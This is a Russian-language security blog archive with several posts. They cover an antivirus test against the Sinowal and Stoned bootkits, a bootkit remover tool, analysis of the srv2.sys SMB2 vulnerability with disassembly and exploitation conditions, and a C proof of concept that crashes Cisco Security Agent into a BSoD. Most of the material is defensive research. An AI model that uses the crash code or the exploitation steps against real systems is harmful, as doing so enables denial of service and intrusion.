0x8120648C Page with executable code [ ETHREAD 0x815BC570 ] TID: 752, size: 2932 bytes
0x811E841F Page with executable code [ ETHREAD 0x815BCDA8 ] TID: 660, size: 3041 bytes
0x8121F419 Page with executable code [ ETHREAD 0x815BC570 ] TID: 752, size: 3047 bytes
0x8121E3CA Page with executable code [ ETHREAD 0x815BC570 ] TID: 752, size: 3126 bytes
0x811EC3B6 Page with executable code [ ETHREAD 0x815BCDA8 ] TID: 660, size: 3146 bytes
0x811FE321 Page with executable code [ ETHREAD 0x813F3B20 ] TID: 252, size: 3295 bytes
0x811FE25E Page with executable code [ ETHREAD 0x81400B20 ] TID: 264, size: 3490 bytes
0x811FB20A Page with executable code [ ETHREAD 0x813F3B20 ] TID: 252, size: 3574 bytes
0x8120EA80 Unknown thread object [ ETHREAD 0x813F3DA8 ] TID: 248, size: 592 bytes
0x811FB187 Unknown thread object [ ETHREAD 0x813F3B20 ] TID: 252, size: 592 bytes
0x8122CAF7 Unknown thread object [ ETHREAD 0x81400DA8 ] TID: 256, size: 592 bytes
0x811FE119 Unknown thread object [ ETHREAD 0x81400B20 ] TID: 264, size: 592 bytes
0x8123FDF0 Unknown thread object [ ETHREAD 0x816EB030 ] TID: 560, size: 592 bytes
0x811C3417 Unknown thread object [ ETHREAD 0x8165BDA8 ] TID: 648, size: 592 bytes
0x811C0D7C Page with executable code [ ETHREAD 0x815BC570 ] TID: 752, size: 644 bytes
0x811D5D2D Page with executable code [ ETHREAD 0x815BCDA8 ] TID: 660, size: 723 bytes
0x8120ED0B Page with executable code [ ETHREAD 0x813F3DA8 ] TID: 248, size: 757 bytes

Кроме того, для диагностики системы использовалась и утилита собственной разработки, речь о которой пойдёт в конце поста.
Результаты тестирования привожу в виде таблицы (детектирование/удаление).

	Sinowal-b	Sinowal-b Modified	Stoned Bootkit
McAfee VirusScan	+/+	–/–	–/–
Dr.Web CureIt!	+/+	–/–	–/–
Kaspersky Antivirus 2009	+/+	+/–	–/–
ESET NOD32	+/–	+/–	+/–
RootRepeal	+/+	+/+	–/–

В таблице не фигурируют утилиты и продукты от Avast, Symantec и F-Secure, так как они провалили тест, отказавшись впринципе детектировать что-либо из использовавшихся самплов. Но результаты по остальным оказались весьма интересные, и с ходу вызывают достаточно много вопросов.

• Почему в первом тесте NOD32 не смог вылечить активное заражение?
  Если честно, для меня самого это осталось загадкой, особенно с учётом того, что ESET зарелизил отдельную утилиту-ремовер, замечательно справляющуюся с удалением не модифицированного Sinowal-а обеих поколений. Однако, в силу того что среднестатистический пользователь вряд ли додумается найти и использовать эту утилиту, я посчитал более справедливым включить в тестирование именно "большой" продукт.


• Почему во втором тесте большинство продуктов от антивирусных компаний смогли детектировать буткит, но не смогли с ним ничего сделать?
  На самом деле, речь идёт всего-лишь о детекте драйвера буткита в памяти, а не вредоносного кода в главной загрузочной записи. Полная бесполезность подобного детектирования очевидна.


• А почему антивирусы не смогли детектировать модифицированный загрузочный код буткита?
  Это звучит пугающе, но загрузочный код детектируется исключительно сигнатурно. Да, вы не ослышались, это полный и невообразимый пиздец: активный руткит, который легко идентифицировать по подменённому загрузочному коду (при попытке его считывания стандартными средствами) напрочь игнорируется, если сгнатуры этого самого загрузочного кода нет в базе. Удивительно, но всего за десять минут работы мы смогли проапгрейдить версию зловреда почти пятимесячной давности таким образом, что удалить её не смог ни один антивирус.


• Но ведь RootRepeal замечательно справляется с удалением буткита в первых двух тестах?
  Да, справляется. Автор этого антируткита написал "правильный" детект, который срабатывает именно в случае обнаружения аномалии (несоответствие загрузочного кода при попытке его чтения разными средствами). На лицо повторение ситуации, которая какое-то время назад сложилась и в области классических руткитов: бесплатная утилита, написанная энтузиастом-одиночкой справляется с лечением технически сложных троянов гораздо лучше, чем продукты больших компаний, в написание которых было вложенно огромное количество материальных ресурсов и человеко-часов.


• Почему почти никто не детектирует и не лечит Stoned Bootkit?
  С RootRepeal-ом всё просто: это антируткит, и его задачей является исключительно детектирование аномалий. Stoned никак не скрывает свой код в MBR, из-за этого и игнорируется антируткитом. Однако, подобная формулировка не сможет служить оправданием в случае с антивирусами. На первый взгляд, может показатся что детектировать ничего не делающий концепт действительно бессмысленно (исключение составили только ESET, которые, видимо, удосужились потратить две минуты на скачивание инфектора и добавления сигнатуры в базу), но давайте мыслить шире. Вирусописатель вполне может использовать полиморфный движок для генерации уникального загрузочного кода в каждом конкретном случае заражения, блокируя после этого попытки его модификации/перезаписи, вместо перехвата процедуры чтения. Таким образом, в течении того времени, что потребуется антивирусным компаниям на анализ сампла, написание и тестирование процедуры детекта/удаления, новый зловред получит возможность невозбранно поселиться хоть на сотнях тысяч компьютеров.

Выводы, опираясь на приведенные мной факты, можете сделать сами, но то, что антивирусная индустрия в техническом плане не готова в полной мере защищать пользователей от нового вида угроз - более чем очевидно. Радует лишь тот факт, что участвовавшие в тестировании продукты хоть как-то детектируют распотраненные in the wild сапмплы, ведь подавляющие большинство других вендоров тихо отмалчивается вообще игнорируя проблемы.

Утилита

В завершение этой заметки, я хотел бы представить вашему вниманию утилиту собственной разработки, которая является универсальным средством для детектирования и удаления буткитов. Её главные отличительные особенности:

• Корректно детектирует и лечит активное заражение как распространенных in the wild буткитов (включая все модификации Sinowal/Mebroot), так и неизвестных зловредов подобного класса.


• Протестирована и работает на 32-х и 64-х разрядных операционных системах Microsoft Windows XP, Server 2003, Vista, Server 2008 и Windows 7 (RC1 и RTM).


• Работает исключительно из режима пользователя, без использования драйверов и каких-либо недокументированных механизмов и функций операционной системы.

Bootkit Remover нашел активный Sinowal-b.

Ремовер простой в использовании.
Утилита работает из командной строки (необходимы права администратора).

Проверка MBR для всех физических накопителей:

> remover.exe

В отчете сканирования выводится один из трех вердиктов для каждого
физического накопителя:

OK (DOS/Win32 Boot code found) - MBR содержит оригинальный загрузочный код операционной системы DOS/Windows.

Unknown boot code - MBR содержит неизвестный загрузочный код. На практике это может означать то, что в системе присутствует буткит который не скрывает модифицированный загрузочный код. Кроме того, подобный статус будет выводится в случае использования какого-либо нестандартного мененджера загрузки (например, GRUB).

Controlled by rootkit! - в системе обнаружен активный буткит, который препятствует чтению модифицированного загрузочного кода стандартными средствами (именно так детектируется Sinowal/Mebroot).

Восстановление оригинального загрузочного кода Windows:

> remover.exe fix <device>

... где <device> - это системное имя физического накопителя, на котором вы хотите восстановить загрузочный код (например, \\.\PhysicalDrive0).

Дамп загрузочного кода в консоль или в файл:

> remover.exe dump <device> [output_file]

... где output_file - опциональное имя выходного файла, в который будет записан загрузочный код.

*** ВНИМАНИЕ!
При перезаписи MBR всегда существует небольшой риск нанести вред операционной системе. Поэтому, перед тем как использовать утилиту Bootkit Remover, обязательно приготовьте загрузочный установочный диск с используемой версией Windows, с помощью которого (Recovery Console) можно восстановить MBR в случае его повреждения.

Скачать утилиту можно здесь: http://www.esagelab.com/files/bootkit_remover.rar
По вопросам работы ремовера связываться со мной лучше всего по е-mail: dmitry@esagelab.ru

К этому посту:
http://cr4sh-0x48k.livejournal.com/39651.html

Сегодня в репозитории метасплойта появился полнофункциональный код, эксплуатриующий уязвимость в srv2.sys при обработке SMB запросов:
http://metasploit.com/svn/framework3/trunk/modules/exploits/windows/smb/smb2_negotiate_func_index.rb

Если попытаться охарактеризовать его одним словом, то "охуеть" будет одним из самых подходящих: что бы добиться remote code execution в таких условиях, нужно быть или очень умным, или очень везучим. Код работает следующим образом.

Индекс массива методов, использующийся в srv2!Smb2ValidateProviderCallback, подбирается таким образом, что бы происходил вызов функции srv2!SrvSnapShotScavengerTimer. Здесь самое интересное: так как srv2!SrvSnapShotScavengerTimer принимает на стеке четыре дворда (вместо одного в случае с методом, вызов которого был предусмотрен девелоперами), происходит порча esp после выхода из этой функции и как следствие - подмена значений в регистрах edi и esi, которые восстанавливаются перед возвратом из srv2!Smb2ValidateProviderCallback. Далее, выполняется следующая цепочка вызовов:

91040ce8 9098d96f 83c84548 00000000 00000001 srv2!SrvProcCompleteRequest+0xd2
91040d10 9098d997 3fffffb4 91040d34 9098cae2 srv2!SrvConsumeDataAndComplete2+0x35e
91040d1c 9098cae2 83c84548 83c84548 9098a801 srv2!SrvConsumeDataAndComplete+0x1c
91040d34 9098cab4 83c84548 00000000 9098a801 srv2!SrvProcCompleteRequest+0x23

... и только в srv2!SrvProcCompleteRequest происходит push esi/call eax, где esi указывает на начало пакета, а eax на - ret в коде ядра.
Другими словами, в норме здесь eax содержит указатель на функцию из srv2, но за счёт того, что в srv2!Smb2ValidateProviderCallback херится стек, туда попадает дворд из данных пакета.

Эксплойт в большинстве случаев стабильно отрабатывает на Vista SP1 (редкие падения были зафикисированны из-за особенностей использующегося ring0->ring3 лаунчера для стандартных шеллкодов):

Последние дни все обсуждают новый PoC под всё ещё непропатченую уязвимость в SMB сервере Microsoft Windows Vista, 2008 Server и 7:
http://securityvulns.com/news/Windows/7/SMB2.html
http://g-laurent.blogspot.com/2009/09/windows-vista7-smb20-negotiate-protocol.html

Уязвимость имеет место быть из-за бага в драйвере ядра srv2.sys, который проявляет себя при обработке стандартного SMB запроса типа SMB_COM_NEGOTIATE (этим запросом, собственно, и начинается любая SMB сессия). С помощью SMB_COM_NEGOTIATE (Command code = 72h) клиент сообщает серверу типы поддерживаемых SMB-диалектов. Формат запроса следующий:

typedef struct  {
    UCHAR Protocol[4];                // Contains 0xFF,'SMB'
    UCHAR Command;                    // Command code
    union {
        struct {
            UCHAR ErrorClass;         // Error class
            UCHAR Reserved;           // Reserved for future use
            USHORT Error;             // Error code
        } DosError;
        ULONG Status;                 // 32-bit error code
    } Status;
    UCHAR Flags;                      // Flags
    USHORT Flags2;                    // More flags
    union {
        USHORT Pad[6];                // Ensure section is 12 bytes long
        struct {
            USHORT PidHigh;           // High part of PID
            ULONG  Unused;            // Not used
            ULONG  Unused2;
    } Extra;
    };
    
    // skipped

} SMB_HEADER;

Более подробная инфа о протоколе есть в этой спецификации:
http://www.microsoft.com/about/legal/protocols/BSTD/CIFS/draft-leach-cifs-v1-spec-02.txt

Call stack на момент краха системы выглядит следующим образом (Windows 7 RC1, srv2.sys ver. 6.1.7100.0):

8bba77fc 8271cb85 00000003 00003ff8 e04d8d0c nt!DbgBreakPointWithStatus+0x4
8bba7bc0 826b3d85 00000050 e04d8d0c 00000008 nt!KeBugCheckEx+0xc7b
8bba7c4c 8267b5c8 00000008 e04d8d0c 00000000 nt!KeSetTimerEx+0x1ca
8bba7cd4 9055cc75 83c7a008 90556700 83c7a008 nt!Kei386EoiHelper+0x27c0
8bba7cec 9055c684 83c7a008 0000085b 83c7a008 srv2!Smb2ExecuteProviderCallback+0xd8
8bba7d08 905582e0 85436fd8 00000000 853d5450 srv2!SrvProcessPacket+0xba
8bba7d50 8283abc3 850f1d40 b28fe0f2 00000000 srv2!SrvProcWorkerThread+0x2db
8bba7d90 826fde29 90558005 850f1d40 00000000 nt!RtlDeleteAtomFromAtomTable+0xebe
00000000 00000000 00000000 00000000 00000000 nt!ExReinitializeResourceLite+0x42f

Суть уязвимости заключается в отсутствии валидации значения поля PidHigh, которое, обычно, нулевое для запросов подобного типа. Фрагмент кода бажной функции srv2!Smb2ExecuteProviderCallback:

srv2!Smb2ExecuteProviderCallback+0xbf:
; edi указывает на начало SMB пакета
9055cc5c 0fb7470c        movzx   eax,word ptr [edi+0Ch]
; в eax занесено значение поля PidHigh, которое
; используется в качестве индекса для массива
; адресов функций srv2!ExecuteRoutines
9055cc60 8b048540715590  mov     eax,dword ptr srv2!ExecuteRoutines (90557140)[eax*4]
; (!!!) граница значения для индекса не проверяется
; в eax занесён адрес функции-обработчика SMB-метода
9055cc67 56              push    esi
9055cc68 85c0            test    eax,eax
9055cc6a 7507            jne     srv2!Smb2ExecuteProviderCallback+0xd6 (9055cc73)
9055cc6c e871fd0000      call    srv2!Smb2ExecuteNotImplemented (9056c9e2)
9055cc71 eb02            jmp     srv2!Smb2ExecuteProviderCallback+0xd8 (9055cc75)
9055cc73 ffd0            call    eax

Таким образом, для передачи управления на шеллкод должны быть выполнены следующие условия:
1. Атакующий должен найти фрагмент кода (желательно, в том же srv2.sys) вида lea reg,[edi+some_offset]/call reg, где some_offset - смещение шеллкода в SMB запросе.
2. В промапленном в память модуле (опять же, желательно что бы это был именно srv2.sys) необходимо отыскать указатель на найденные в п.1 инструкции.
3. Из адресса указателя вычислить index по след. формуле: index = (pointer - srv2!ExecuteRoutines) / 4. Причём, адрес указателя должен быть кратный 4-м и больше адреса таблицы srv2!ExecuteRoutines, а получившийся в итоге индекс меньше FFFFh.
4. Вычисленный в п.3 индекс нужно заюзаь в качестве значения поля PidHigh.

За несколько часов работы удовлетворить все эти условия мне так и не удалось. Это, само собой, не является истиной в последней инстанции, но моё имхо - нового конфикера не будет :)

К этому посту.
А ещё Cisco Security Agent 5.1 страдает детской болезнью кривых обработчиков перехватов и легко валится в BSoD (хоть из-под гостевой учётки) пиведенным ниже кодом.

int _tmain(int argc, _TCHAR* argv[])
{
    #define GET_NATIVE(_proc_)GetProcAddress(GetModuleHandle("ntdll.dll"), (_proc_))

    f_NtCreateKey NtCreateKey = (f_NtCreateKey)GET_NATIVE("NtCreateKey");
    if (NtCreateKey)
    {
        printf("ntdll!NtCreateKey() at 0x%.8x\n", NtCreateKey);

        NTSTATUS ns = NtCreateKey(
            (PHANDLE)0xfffffff0, 
            KEY_ALL_ACCESS, 
            (POBJECT_ATTRIBUTES)0xfffffff0,
            0,
            NULL,
            0,
            NULL
        );

        printf("ntdll!NtCreateKey() returns status 0x%.8x\n", ns);
    }
    else
    {
        printf("Error while lookuping ntdll!NtCreateKey()\n");
    }

    return 0;
}

Был более высокого мнения о качестве продуктов Cisco :)
Test app: http://rapidshare.com/files/276697375/csa_hook_bsod.zip.html
Call stack:

f58e2818 808253e7 00000003 fffffff4 00000000 nt!RtlpBreakWithStatusInstruction
f58e2864 808262bc 00000003 c07ffff8 8201dbd0 nt!KiBugCheckDebugBreak+0x19
f58e2bfc 80826659 00000050 fffffff4 00000000 nt!KeBugCheck2+0x5b2
f58e2c1c 8085a01b 00000050 fffffff4 00000000 nt!KeBugCheckEx+0x1b
f58e2c90 80885ed0 00000000 fffffff4 00000000 nt!MmAccessFault+0xa91
f58e2c90 f74f97cb 00000000 fffffff4 00000000 nt!KiTrap0E+0xd8
WARNING: Stack unwind information not available. Following frames may be wrong.
f58e2d40 80882fa8 fffffff0 000f003f fffffff0 csareg+0x27cb
f58e2d40 7c82ed54 fffffff0 000f003f fffffff0 nt!KiFastCallEntry+0xf8
0012fd94 7c821244 004197a0 fffffff0 000f003f ntdll!KiFastSystemCallRet
0012fd98 004197a0 fffffff0 000f003f fffffff0 ntdll!ZwCreateKey+0xc
0012fedc 00411c00 00000001 00310bc8 00310c40 csa_hook_bsod!main+0xc0 [x:\dev\fw_tests\csa_hook_bsod\csa_hook_bsod.cpp @ 104]
0012ffc0 77e523cd 00000000 00000000 7ffd9000 csa_hook_bsod!mainCRTStartup+0x170 [f:\vs70builds\3077\vc\crtbld\crt\src\crt0.c @ 259]
0012fff0 00000000 0041132f 00000000 78746341 kernel32!BaseProcessStart+0x23

Я очень давно хотел поковырять на предмет безопасности какую-нибуть крутую корпоративную проактивку. Нет, не продукт от антивирусных вендоров (ихние корпоративные решения технологически не отличаются от пользовательско-десктопных продуктов), а что-то более интересное.
И вот, в мои руки попал сабж версии 5.1 (Спасибо grey_olli за подгон). Впечатления двойственные.

С одной строны, CSA слил несколько простых ликтестов:
http://rapidshare.com/files/276673428/bypass_pending_copy.zip.html
- замена beep.sys своим драйвером через pending copy средствами session manager-а.
http://rapidshare.com/files/276672710/bypass_hook_inject.zip.html
- маскировка под доверенный процесс спуффингом NtCreateFile на этапе его создания (с последующей установкой драйвера).
Первую дыру хоть и можно заткнуть редактированием политик, но вторая всегда будет существовать бай дизайн.

С другой - CSA привлекает своей гибкостью, большим кол-вом настроек и удачной архитектурой:
1. Все политики и рулесы хранятся в MsSQL-ной базе данных, которая может быть расположена как на локальном так и на удалённом хосте (удобно для резервного копирования и централизированного управления).
2. Конфигурирование осуществляется через веб-интерфейс (удобно для удалённого администрирования CSA на пользовательских машинах).
3. Встроенные политики довольно продуманные: проактивка показывает алерты редко и исключительно по делу (в отличии от продуктов ав-вендоров, с которыми по этому пункту полный пиздец).

Выводы:
- с дефолтными политиками Cisco Security Agent не может обеспечить приемлимый уровень безопасности.
- редактированием и обновлением политик должен заниматься специально обученный человек.
- специально обученный человек должен быть не каким-то там сисадмином, а вирусным аналитиком, достаточно хорошо разбирающимся в архитектуре и особенностях работы NT, а так же, пребывать в курсе всех последних тенденций малваростроения.

Здесь лог RkU с безумным количеством ядерных и user mode перехватов. На очереди глубокий реверс :)

Я вот уже с полгода активно пишу под 64 бита (не Itanium, а AMD64/EM64T, разумеется). Пишу как всякие движечки/библиотечки на заказ, так и тулзы для своих, исследовательских целей. И знаете, этот факт привносит много мелкого но неприятного геммороя в решение, казалось бы, повседневных задач, по сравнению с оным под x86.
Возьмём хотя бы REX преффикс. Есть такой байт формата 0100WR0B в AMD64, который находится между обычным преффиксом и, собственно, опкодом. Бит W, будучи установленным в 1, преобразует инструкцию вида REX LEA R64,VAL чудесным образом: помещаемое в регистр значение VAL, в данном случае, в сгенерированной компилятором инструкции будет не присутствовать в машинном коде непосредственно, а вычисляться динамически, по оффсету относительно адрреса самой инструкции LEA. Короче говоря:

.text:000007FF7E9C167A lea rcx,unk_7FF7E9DB618

будет выглядеть так:

.text:000007FF7E9C167A db 48h
.text:000007FF7E9C167B db 8Dh
.text:000007FF7E9C167C db 0Dh
.text:000007FF7E9C167D db 97h
.text:000007FF7E9C167E db 9Fh
.text:000007FF7E9C167F db 01h
.text:000007FF7E9C1680 db 00h

Вычисляется по смещению - и хрен бы с ним, подумает недалёкий читатель, однако, преффикс REX весьма часто встречается в коде, генерируемом разнообразными компилерами (инструкция меньше места занимает, типа), а здесь и начинается самое интересное.
Вот, бывало, хочешь ты поставить перехват на код какой-то функции, пропатчив её джампом и сохранив старый код в виде callgate, для вызова оригинальной функции (обычный сплайсинг, короче) - но хуй, в начале функции какраз-таки и попадается подобный LEA, который будучи перенесённым в callgate ну никак не сможет правильно работать в том случае, если разница между адресами функции и коллгейта будет больше чем FFFFFFFFh (естественно, операнд в инструкции же 32-х разрядным числом задаётся).
Для написания парсера, который будет преобразовывать такие инструкции к нормальному виду, я пока морально не созрел (кроме REX ведь есть куча другой фигни, работающей аналогичным образом, Direct Memory-Offset MOVs, for example), вот и мучаюсь всякими черезжопными решениями, включая (о боже!) IAT-перехваты.


Да, ещё мне сегодя пришла в голову идея написания самого стабильного и правильного софтварного эмулятора CPU! В интелловских манах ведь, для каждой инструкции есть псевдокод, поясняющий принцип её работы. Например, для sidt вот-такой:

IF instruction is SIDT
  THEN
  IF OperandSize = 16
    THEN 
    DEST[0:15] <- IDTR(Limit);
    DEST[16:39] <- IDTR(Base); (* 24 bits of base address stored; *)
    DEST[40:47] <- 0;
  ELSE IF (32-bit Operand Size)
    DEST[0:15] <- IDTR(Limit);
    DEST[16:47] <- IDTR(Base); FI; (* Full 32-bit base address stored *)
  ELSE (* 64-bit Operand Size *)
    DEST[0:15] <- IDTR(Limit);
    DEST[16:79] <- IDTR(Base); (* Full 64-bit base address stored *)
  FI;
FI;

Вобщем, суть:
1. Скачиваем интелловские маны в PDF.
2. Пишем парсер-транслятор, который будет выдирать из них псевдокод для каждой инструкции, и преобразовывать его в С-шный исходник.
3. ...
4. PROFFIT!

В процессе чтения /c/ мне подумалась мысль относительно некоторого порядка вещей в software industry, который, вобщем-то, сложно не заметить. Эти ваши интернеты, на сегодняшний день, кишат просто тьмой программеров, которые усиленно пропагандируют и продвигают в широкие массы джаву и прочие дотнеты. Причём я не только имиджборды имею в виду, скопление таких личностей наблюдается повсеместно: достаточно почитать любое сообщество типа хабра, или послушать какой-нибуть околотехнический подкаст.
Собственно, сами языки/платформы о котрых идёт речь тяжело назвать новомодными, однако, чем дальше - тем больший ажиотаж вокруг них происходит. Происходит - и хрен бы с ним: интерфейсы, объектные переменные, кроссплатформенность (в случае с Java) и прочие ништяки это как бы хорошо и правильно, да и с развитием технологии численность квалифицированных разработчиков, её использующих, растёт. Но, собственно, наблюдение, про которое я хотел рассказать, заключается в том, что количество трепливых программистов какое-то непропорционально большое относительно количества хороших, годных программ написанных на Java и .NET.
Может вы приведёте примеры таких хороших common-usable программ (мультимедиа, общение в сети, итд.), которые были бы заметно лучше своих аналогов, написанных на C/C++/Delphi?

Статья про уязвимости в драйверах:
Многие программы используют драйвера режима ядра как «окно» для доступа в привилегированный режим – Ring 0. В первую очередь это касается защитного ПО: антивирусов, фаерволов, HIPS и программ класса Internet Security. Помимо основных функций, многие драйвера оснащены механизмами взаимодействия с другими компонентами ПО, работающими в режиме пользователя. Неаккуратная реализация такого механизма взаимодействия ставит под угрозу безопасность и стабильность не только данного ПО, но и всей операционной системы.
http://esagelab.ru/files/DriverBugs.pdf

IOCTL Fuzzer (приложение к статье про баги в драйверах):
Программа IOCTL Fuzzer предназначена для автоматизации выявления уязвимостей в драйверах при обработке IRP запросов.
Драйвер фаззера перехватывает функцию ядра NtDeviceIoControlFile, тем самым получая возможность контролировать IRP-запросы от любого приложения к драйверам режима ядра. В процессе работы фаззер подменяет исходный IRP-запрос к заданному драйверу, оставляя неизменными размеры буферов и I/O Control Code, но заменяя исходные входные данные на данные, сгенерированные псевдослучайным образом.
Помимо основного функционала, в программе предусмотрен режим мониторинга. При этом в лог, закрепленный за консолью и/или файлом, выводится общая информация об IRP-запросах или полный дамп данных в шестнадцатеричном формате.
http://www.esagelab.com/files/ioctl_fuzzer-1.1.zip
http://code.google.com/p/ioctlfuzzer/

Rootkit.Win32.TDSS remover:
Утилита Rootkit.Win32.TDSS remover обеспечивает полуавтоматическую чистку системы от руткита TDSS (также известного как Tidserv, TDSServ и Alureon). Программа сканирует систему на предмет наличия скрытых файлов, драйверов и ключей реестра, и позволяет уничтожить найденные вредоносные объекты одним нажатием кнопки.
Замечание: Rootkit.Win32.TDSS remover - универсальный антируткит по своей архитектуре. В процессе сканирования системы утилитой могут быть обнаружены другие руткиты и скрытые объекты.
http://www.esagelab.com/files/tdss_remover_latest.rar


Периодически мне попадается на глаза старый код, который я выкладывал в паблик год-два-три назад, и мне сейчас просто стыдно за ту кривую хуйню, которой этот код по факту является.